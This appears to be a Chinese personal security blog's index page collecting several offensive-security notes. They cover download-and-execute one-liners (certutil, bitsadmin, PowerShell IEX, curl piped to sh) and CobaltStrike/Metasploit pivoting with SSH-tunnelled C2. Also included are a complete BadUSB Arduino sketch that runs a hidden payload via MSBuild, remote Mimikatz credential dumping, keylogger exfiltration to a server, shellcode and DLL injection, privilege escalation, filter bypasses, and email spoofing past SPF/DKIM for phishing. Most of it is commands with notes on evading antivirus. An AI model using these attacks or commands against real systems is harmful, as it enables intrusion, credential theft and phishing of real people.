scareing的学习笔记

道可道,非常道, 名可名,非常名!


  • 首页

  • 分类

  • 归档

  • 标签

  • 关于

命令行文件下载的各种姿势

发表于 2019-09-10 | 分类于 命令行

命令行文件下载的各种姿势

bitsadmin

  • ​ bitsadmin /rawreturn /transfer down “http://172.22.35.212/payload1.xml” C:\1.txt
  • ​ bitsadmin /transferdown /download /prioritynomal “http://172.22.35.212/payload1.xml" C:\1.txt –进度条

会引发360弹窗。

wget

  • wget -i http://192.168.0.1/demo.exe

360下有弹窗

curl

  • curl -O http://192.168.0.1/demo.exe
  • curl http://192.168.0.107/1.sh -o- | sh –sh脚本执行

360下有弹窗

powershell

  • powershell.exe “IEX (New-Object Net.WebClient).DownloadString(‘http://172.22.35.212/payload1.xml')" | out-file payload.xm
  • Invoke-WebRequest -Uri “http://172.22.35.212/payload1.xml" -OutFile ‘pay.txt’ -UseBasicParsing
  • powershell -w hidden Invoke-WebRequest -uri http://172.22.35.106/PAYLOAD1.XML -OutFile 1025.xml
  • (New-Object System.Net.WebClient).downloadfile(“http://172.22.35.212/payload1.xml",'C:\Users\18130\OneDrive\桌面\1.txt')

第四条360无弹窗

certutil

  • certutil -urlcache -split -f http://172.22.35.212/payload1.xml
  • certutil -urlcache -split -f http://172.22.35.212/payload1.xml delete –清除痕迹

360下无弹窗
avatar

CobaltStrike+MetaSploit联动攻击

发表于 2019-08-29 | 分类于 渗透

CobaltStrike+MetaSploit联动攻击

** 本文源于klion红队攻防揭秘 观后复现 **

重点

1,通过beacon内置socks,将msf带入目标内网
2,使用CS的外部tcp监听器,通过ssh隧道派生一个session到msf
3,使用msf的exp直接弹回一个beacon
4,灵活使用ssh隧道深度隐藏C2

通过beacon内置socks,将msf带入目标内网

** CS **

  • beacon> getuid
  • beacon> socks 1080
    avatar
    • msf **
  • msf5 > setg Proxies socks4:XXX.XXX.XXX.XXX:1080 //设置代理
  • msf5 > setg ReversseAllowProxy true //双向通道

现在就可以直接用msf的auxiliary模块扫描目标内网了
avatar

使用CS的外部tcp监听器,通过ssh隧道派生一个session到msf **

* 首先创建CS外部tcp监听器 *
avatar
* 然后到本地机器msf创建tcp监听器 *
avatar
* 随后,在vps机器上编辑sshd配置,开启ssh转发功能,重启ssh服务,这是所有使用ssh隧道转发前的必备操作。 *

# vi/etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes
# systemctl restartsshd.service

* 回到本地linux中并通过ssh隧道做好ssh转发,意思就是通过vps把来自外部的8080端口流量全部转到本地linux的8080端口上,而本地linux的8080端口上跑的又正好是msf的监听器,所以,最终才会造成meterpreter本地上线的效果 *

# ssh -C -f -N -g -R 0.0.0.0:8080:192.168.0.108:8080 root@xxx.xxx.xxx.xxx -p 22 //建立ssh隧道
>  -C     //压缩数据 
>  -f     //运行在后台
>  -N     //不远程执行命令,对端口转发很有用
>  -g     //允许远程主机连接到本地转发端口
>  -R     //[bind_address:]port:host:hostport  端口及地址配置
# netstat -tulnp | grep '8080' //检查通道是否成功建立

avatar
avatar

* 最后,回到cs上选择目标内网指定机器的beacon shell 点击 “Spawn” 派生,再选择刚在上面创建好的tcp的外部监听器,相应目标机器的meterpreter就会被直接弹到本地,也可以选择批量操作 *

使用msf的exp直接弹回一个beacon

** 暂时复现失败 **

灵活利用ssh隧道深度隐藏C2

首先,创建一个普通的http 反向beacon监听器,并用该监听器生成一个64位的exe payload,随后再立即删除该监听器
然后本地开启ssh隧道转发,转发刚刚删除的监听器的端口。
本地启动cs服务,监听转发的端口,监听器与删除监听器配置相同。
当payload执行,本地服务上线。
avatar

绕过Powershell执行策略执行ps脚本。

发表于 2019-08-27 | 分类于 Powershell

绕过Powershell执行策略执行ps脚本。

由于powershell默认是不允许执行ps脚本的* 管理员可以改为允许 *,但ps脚本又是渗透测试中非常有用也非常必要的工具,所以想办法绕过执行策略还是非常有必要的。

总结如下

  • 本地绕过权限执行.

    powershell -executionpolicy bypass -file xxx.ps1
  • 本地隐藏绕过权限执行.

    powershell -executionpolicy bypass -windowsstyle hideden -nologo -nonlnteractive -noprofile -file xxx.ps1
  • 本地导入ps1脚本,并执行函数.

    powershell.exe -exec bypass -Command "Import-Module C:\Invoke-Mimikatz.ps1";Invoke-Mimikatz -DumpCreds
  • 本地使用IEX下载远程ps1绕过执行.

    powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.1/mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
  • 本地使用IEX下载远程ps1隐藏绕过权限执行.

    powershell -executionpolicy bypass -windowstyle hidden -nologo -noprofile IEX(new-object system.net.webclient).downloadstring("http://192.168.0.1/1025.ps1")    

    avatar

BadUSB:虚假的恶意USB设备

发表于 2019-08-26 | 分类于 社会工程学

BadUSB:虚假的恶意USB设备

从传统意义讲,当你在电脑中插入一张CD/DVD,或者插入一个USB设备时,可以通过自动播放来运行一个包含恶意的文件,不过自动播放功能被关闭时,autorun.inf文件就无法自动执行你的文件了。然而通过BadUSB,你可以模拟出一个键盘,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器,与存储空间,和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

  • Arduino: 一款开源电子原型平台,也就是常说的开发板。
  • Arduino UNO/Leonardo: Arduino中的两种型号
  • HID Attacks: 通过接入伪装的设备,如U盘,达到模拟键盘输入*的攻击
  • TEENSY: 实现HID Attacks的一种设备,类似于Arduino设备。
  • USB RUBBER DUCKY: 实现HID Attacks的一种设备,外观和U盘无差别
  • BadUSB:基于U盘实现HID Attacks的方式
  • kali NetHunter:基于安卓的开源移动渗透测试平台

当Arduino插入电脑时,Arduino将会伪装成键盘,并且自动输入Arduino中的命令。说直白点,就是一双无形的手在操控你的键盘,并且可以在极短的时间内输入事先写好的指令,让受害者毫无察觉。

** 只要是能通过USB连接的设备都有可能被植入攻击芯片,此攻击芯片是一个非常小巧且功能完整的单片机开发系统,也是BadUSB的核心。**

在这里将会使用最常见的U盘实现BadUSB攻击演示。

代码如下

#include <Keyboard.h>
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(100);
Keyboard.println("powershell -w hidden Invoke-WebRequest -uri   http://172.22.35.106/PAYLOAD1.XML -OutFile   1025.xml;C:/Windows/Microsoft.NET/Framework/v4.0.30319/MSBuild.exe 1025.xml");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(100);
Keyboard.println("POWERSHELL -W HIDDEN INVOKE-WEBREQUEST -URI HTTP://172.22.35.106/PAYLOAD1.XML -OUTFILE 1025.XML;C:/WINDOWS/Microsoft.NET/Framework/v4.0.30319/MSBuild.exe 1025.XML");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}

这里使用了白名单中的MSBuid.exe以达到免杀的目的,首先从服务器下载payload文件,然后用MSBuid.exe执行返回session。然后重复,不过usb插入几秒就够了,重复也不过是多返回几个session而已。

正因为HID攻击对于大众来说还属于冷门,人们甚至不知道它的存在,防范更是无从谈起,但它的危害却是非常大的,USB设备的普及更是放大了它的危害性。所有这一切都是因为连接到目标机器时的假USB是用另一个不是原设备(就像它们原本的那样)的固件执行的,冒充任何其他类型的设备并且能够执行任何类型它所连接的机器上的操作,而无需用户许可。

补充

HID攻击对某些没有外接设备的终端设备有奇效,只要有USB口就可以尝试攻击。

HID攻击本身是不会被拦截的,行为可能会被拦截,这时候就得改变payload了。

HID:Human Interface Device的缩写,直接与人交互的设备,例如键盘、鼠标。

avatar

Nishang模块简介及演示

发表于 2019-08-26 | 分类于 Powershell

Nishang模块简介及演示

** Nishang **

Nishang是GitHub上的非常好用的Powershell后渗透模块,广泛用于渗透测试的各个阶段.
Nishang在PowerShell3.0以上的环境才能正常使用,意思就是win7及更低版本的系统中可能使用有问题。并且会被杀软拦。

$PSVersionTable //查看PowerShell版本

avatar

  • Antak-Webshell //webshell
  • Backdoor //后门
  • Client //客户端
  • Escalation //提权
  • Execution //RCE
  • Gather //信息收集
  • Misc //杂项
  • Pivot //跳板及远程执行exe
  • Scan //扫描
  • powerpreter //文件下载及持续性

Gather

** Invoke-CredentialsPhish.ps1 **

Invoke-CredentialsPhish //开启钓鱼

avatar

欺骗目标主机用户输入Windows账号密码,并且如果不输入正确的账号密码,不能直接关闭。

** Copy-VSS.ps1 **

avatar

利用Volume Shadow Copy服务复制sam文件,如果机器是域控的话,ntds.dit和SYSTEM hive也能被拷贝出来。

Copy-VSS //直接把文件保存到当前路径
Copy-VSS -DestinationDir C:\temp //保存到指定的已存在路径

​
** FireBuster.ps1 and FireListener.ps1 **

FireBuster.ps1用于被控端测试端口连通性的。
FireListener.ps1用于本机接收连通性测试结果。

FireBuster 172.22.35.250 80-100ose //被控端的80-100端口连接主机的80-100端口。
FireListener 80-100 //主机监听80-100端口。

avatar
avatar
** Keylogger.ps1 **

Nishang的键盘记录虽然很强大,但是奈何我还没有理解。
键盘记录默认保存在当前用户的temp目录下,默认文件名为key.log并且,内容好像是被混淆过,需要用Nishang Utility模块下的Parse_Keys.ps1来解析为明文。

.\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis //书上是解释的说检查给出网页中是否包含stopthis也就是我们给出的字符串。如果存在就不记录。
.\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebS
erver -URL http://192.168.254.226/data/catch.php //将记录发送到指定的可以记录Post请求的服务器。
.\Keylogger.ps1 -persist //持久化记录,重启后依旧会继续运行。
Parse_Keys C:\Users\wdnmd\AppData\Local\Temp\Key.log .\parsed.txt //将key.log解析到当前目录下的parsed.txt。

实在无法理解为什么非要给出一个网址及字符串,但是经过尝试可以将这两个参数给定为空格。
** Get-PassHints.ps1 **

获取用户密码的提示信息,如果有的话。

Get-PassHints

PowerSploit基本功能演示

发表于 2019-08-26 | 分类于 Powershell

PowerSploit基本功能演示

模块介绍

  • AntivirusBypass //发现杀软查杀特征

  • CodeExecution //代码执行

  • Exfiltration //信息收集

  • Mayhem //破坏性脚本

  • Persistence //后门

  • Recon //利用跳板进行内网信息侦擦

  • ScriptModification //创建或修改脚本

    利用演示

    CodeExecution

    • Invoke-Shellcode.ps1 **

    shellcode注入

    IEX(New-Object Net.WebClient).DownloadString("http://172.22.35.241/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")
    //下载并导入脚本
    IEX(New-Object Net.WebClient).DownloadString("http://172.22.35.241/test")
    //下载powershell的shellcode
    Invoke-Shellcode -Shellcode ($buf) -Force
    //注入下载的shellcode并运行,-force是为了强制执行,用于消除提示。$用于指定变量,buf为test中的数组,数组中包含shellcode。
    Start-Process c:\windows\system32\notepad.exe -Windowstyle Hidden
    //隐藏的开始一个记事本进程。
    Invoke-Shellcode  -ProcessID 10836  -Shellcode ($buf) -Force
    //将shellcode注入到刚刚开始的记事本进程中。
    • Invoke-DllInjection.ps1 **

    dll注入

    IEX(New-Object Net.WebClient).DownloadString("http://172.22.35.241/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1")
    //下载并导入脚本
    Invoke-DllInjection  -ProcessID 10836  -Dll c:\test.dll
    //注入dll到指定进程

    Recon

    • Invoke-Portscan **

    端口扫描

    IEX(New-Object Net.WebClient).DownloadString("http://172.22.35.241/PowerSploit-master/Recon/Invoke-Portscan.ps1")
    //下载并导入脚本
    Invoke-Portscan -Hosts 172.22.35.0,172.22.35.255 -Ports "80,445,3389"
    //扫描指定地址及指定端口

    Exfiltration

    • Invoke-Mimikatz.ps1 **

    密码抓取,实际上就是Mimikatz的PowerShell版本

     IEX(New-Object Net.WebClient).DownloadString("http://172.22.35.241/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1")
     //下载并导入脚本
     Invoke-Mimikatz -DumpCreds
     //抓取密码
    
    ** Get-Keystrokes.ps1 **

    键盘记录及鼠标点击记录

    IEX(New-Object Net.WebClient).DownloadString("http://172.22.35.241/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1")
    //下载并导入脚本
    Get-Keystrokes -LogPath c:\test.txt
    //开启记录并保存到指定位置

avatar

Window下使用PowerUp辅助提权

发表于 2019-08-26 | 分类于 提权

Window下使用PowerUp辅助提权

* 前言 *:每当获得shell的时候,提权总是一件很重要的事情,虽然在很多时候提权没那么必要,但是能灵活的提权才是在系统中常驻的基石。在现如今主流渗透框架的自动提权模块被各大AV厂商和补丁围杀渡劫下,在严格一点的环境,基本上没有任何用处,加上内核提权可能出现的崩溃蓝屏,反而容易打草惊蛇,得不偿失。PowerUp是在我尝试过各种提权手段后,个人觉得最为灵活,好用的提权辅助。

PowerUp

PowerUp是PowerSploit中的提权辅助脚本,整合所有因为配置错误而导致的Windows本地权限提权向量。,例如:** 不带引号的服务路径,不安全的服务权限,不安全的文件系统权限,AlwaysInstallElevated,注册表……. **这些都是属于杀软与补丁难以管辖的无主之地,而我们所需要做的只是发现并稍加利用, 一切就尽在掌控之中了。

https://github.com/PowerShellMafia/PowerSploit     //PowerSploit的GitHub地址

在本机杀软和补丁齐全的情况下,依旧检测出了多处可用于提权的配置缺陷。
avatar
avatar
这里我选择了最方便的服务路径提权,首先上传ASUS.exe到C:\Program Files\ASUSTek COMPUTER INC\目录下。

原因:Windows命令解释程序可能会遇到名称中的空格,并且希望通过将字符串包装在引号中来对它们进行转义。在这个示例中,如果系统运行该服务,它将尝试运行以下可执行文件:

C:\Program.exe
C:\Program Files\ASUSTek.exe
C:\Program Files\ASUSTek COMPUTER.exe
C:\Program Files\ASUSTek COMPUTER INC\ASUS.exe

这样层层寻找就会找到并运行上传的的ASUS.exe,然后就不会继续向下寻找了,此时ASUS.exe就是系统会启动的服务程序。

通过重启服务返回了SYSTEM的session

sc restart ASUSGamingControlService     //重启服务

avatar

cmd绕过空格过滤

发表于 2019-08-26 | 分类于 杂项

cmd绕过空格过滤

Ps:从大佬那里学的一点小技巧

Windows

Windows支持环境变量切片操作,可以切割出一个空格接上。

set //查看环境变量

net%CommonProgramFiles:~10,-18%user

意思是把CommonProgramFiles变量的正数10位和倒数18位全部切除,然后就剩下一个空格。形变为net user
既

CommonProgramFiles=C:\Program Files\Common Files
net%CommonProgramFiles:~10,-18%user=net user

avatar
avatar
** 经测试在win7,win10,win8,win2008,win2003,均有效

Linux

1
2
{ping,-c,1,127.0.0.1}
ping${IFS}-c${IFS}1${IFS}127.0.0.1

Swaks简介

发表于 2019-08-26 | 分类于 社会工程学

Swaks简介

Swaks的主要设计目标是成为一个灵活的,可编写脚本的,面向对象的SMTP测试工具。它处理SMTP功能和扩展,如TLS,身份验证和流水线操作; 多种版本的SMTP协议,包括SMTP, ESMTP和LMTP ; 和多种传输方法,包括unix-domain套接字,internet-domain套接字和生成进程的管道。可以在环境变量,配置文件和命令行中指定选项,从而为操作员和脚本编写者提供最大的可配置性和易用性。

Swaks也被称为SMTP协议的瑞士军刀,它可以灵活的操作SMTP协议报文,它通常被用来伪造邮件,进行钓鱼、社工等操作。并且可以绕过常规的基于SPF与DKIM的垃圾邮箱检测。Kali已预装Swaks

基本参数说明

swaks –to test@qq.com //首先测试邮箱的连通性;

  • –to test@gmail.com //接件人邮箱;
  • –from test@qq.com //发件人邮箱;
  • –ehlo qq.com //伪造邮件ehlo头,即是发件人邮箱的域名。提供身份认证;
  • –server mail.smtp2go.com //服务邮件域
  • –body “test” //引号中的内容即为邮件正文,可直接引用文件;
  • –data ./Desktop/email.txt //将正常源邮件的内容保存成TXT文件,再作为正常邮件发送;
  • –header “Subject:标题” //邮件标题;
  • –header-X-Mailer gmail.com //X-Mailer标头表示用于起草和发送原始电子邮件的程序
  • –h-From: ‘boss admin@gmail.com‘ //伪造的发件人邮箱;
  • –attach /root/test.txt //附件

SPF验证原理

SPF是为了防范垃圾邮件而提出来的一种DNS记录类型,它是一种TXT类型的记录,它用于登记某个域名拥有的用来外发邮件的所有IP地址。
按照SPF的格式在DNS记录中增加一条TXT类型的记录,将提高该域名的信誉度,同时可以防止垃圾邮件伪造该域的发件人发送垃圾邮件。
SPF是跟DNS相关的一项技术,它的内容写在DNS的txt类型的记录里面。mx记录的作用是给寄信者指明某个域名的邮件服务器有哪些。SPF的作用跟mx相反,它向收信者表明,哪些邮件服务器是经过某个域名认可会发送邮件的。
由定义可以看出,SPF的作用主要是反垃圾邮件,主要针对那些发信人伪造域名的垃圾邮件。

如果mail.smtp2go.com是真正的邮件服务器,那么Gmail的服务器收到的源IP也肯定是mail.smtp2go.com的IP。Gmail中会校验邮件发送者的IP是否存在于smtp.from的域名SPF配置列表里,但是邮件显示的是from头中的域而不是服务邮件域,因此可以将服务邮件域设置为正常的邮件服务器地址,伪造一个Mail.From即可。

DKIM工作原理

DKIM 的基本工作原理同样是基于传统的密钥认证方式,他会产生两组钥匙,公钥(public key)和私钥(private key),公钥将会存放在 DNS 中,而私钥会存放在寄信服务器中。数字签名会自动产生,并依附在邮件头中,发送到寄信者的服务器里。公钥则放在DNS服务器上,供自动获得。收信的服务器,将会收到夹带在邮件头中的签名和在DNS上自己获取公钥,然后进行比对,比较寄信者的域名是否合法,如果不合法,则判定为垃圾邮件。

但是这里由于使用了第三方邮件服务器,公钥和私钥已经提供了.

实际效果

avatar
avatar

  • 总结:SPF和DKIM已经pass了,DMARC这东西不清楚是什么,但是暂时不影响邮件的正常接收。
    在测试过程中发现,伪造gmail域时不能发给gmail域,只能伪造为其他域的邮件发送,比如163.com,qq.com。整体来说,电脑上查看就比正常邮件多了个通过xxx代发,又因为手机上信息显示不全,手机查看几乎无破绽,所以欺骗性还是非常强的
123
scareing

scareing

29 日志
18 分类
20 标签
RSS
GitHub E-Mail
0%
© 2022 scareing